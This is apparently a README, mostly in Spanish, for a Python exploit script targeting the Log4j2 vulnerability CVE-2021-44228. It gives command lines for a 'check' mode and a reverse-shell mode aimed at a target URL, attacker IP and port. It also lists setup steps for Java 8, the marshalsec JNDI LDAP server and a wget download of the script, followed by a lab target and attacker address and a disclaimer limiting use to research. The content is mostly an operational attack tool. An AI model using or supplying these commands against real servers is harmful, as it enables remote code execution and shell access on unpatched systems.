
Log4j2 CVE-2021-44228 revshell, obviamente apesta!!
Para reverse shell:
$~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]
Para comprobar si es explotable:
$~ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort]
$~ python3 Log4j2-revshell.py -h
usage: Log4j2-revshell.py [-h] -M MODE -u TARGET -l LHOST -p LPORT
[-hp HTTPPORT] [-V]
Log4j2 CVE-2021-44228 Reverse Shell
optional arguments:
-h, --help muestra este mensaje de ayuda y sale
-M MODE, --mode MODE Modo: check | rev
-u TARGET, --target TARGET
URL completa del objetivo, http://www.victimLog4j.xyz:8080
-l LHOST, --lhost LHOST
IP del atacante para recibir revshell
-p LPORT, --lport LPORT
Puerto del atacante para recibir revshell
-hp HTTPPORT, --httpport HTTPPORT
Puerto del servidor HTTP en el host atacante, por defecto es 8888
-V, --version muestra el número de versión del programa y sale
1. Marshalsec jndi.LDAPRefServer # ver aquí, https://github.com/mbechler/marshalsec
2. Java 8 # puede obtener Java 8 aquí https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html,
se sugiere instalar jdk-8u181-linux-x64.tar.gz [Java 1.8.0_181]
3. Este script, Log4j2-revshell.py
$ Abre el navegador y descarga Java 8 desde https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
En la sección Java SE Development Kit 8u181, selecciona jdk-8u181-linux-x64.tar.gz o el paquete adecuado según tu sistema operativo.
$ sudo mkdir /usr/lib/jvm #Make this dir if you do not have yet
$ cd /usr/lib/jvm
$ sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz #Extract downloaded jdk-8u181-linux-x64.tar.gz into /usr/lib/jvm
$ sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
$ sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
$ sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
$ sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
$ sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
$ sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
$ java -version #verify if you are running Java 1.8.0_181
$ git clone https://github.com/mbechler/marshalsec /tmp/Log4j2-dir; cd /tmp/Log4j2-dir #Install marshalsec jndi.LDAPRefServer
$ sudo apt install -y maven #Build marshalsec with the Java builder maven. If you do not have maven, please install first
$ mvn clean package -DskipTests #Build marshalsec tool with maven
$ cd /tmp/Log4j2-dir; wget -q https://raw.githubusercontent.com/faisalfs10x/Log4j2-CVE-2021-44228-revshell/main/Log4j2-revshell.py
$ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]
host objetivo: http://192.168.5.122:8080
host atacante: 192.168.5.120
- Ubuntu 18.04
El script es solo para análisis de seguridad e investigación, por lo tanto, no me hago responsable si se utiliza para actividades ilícitas.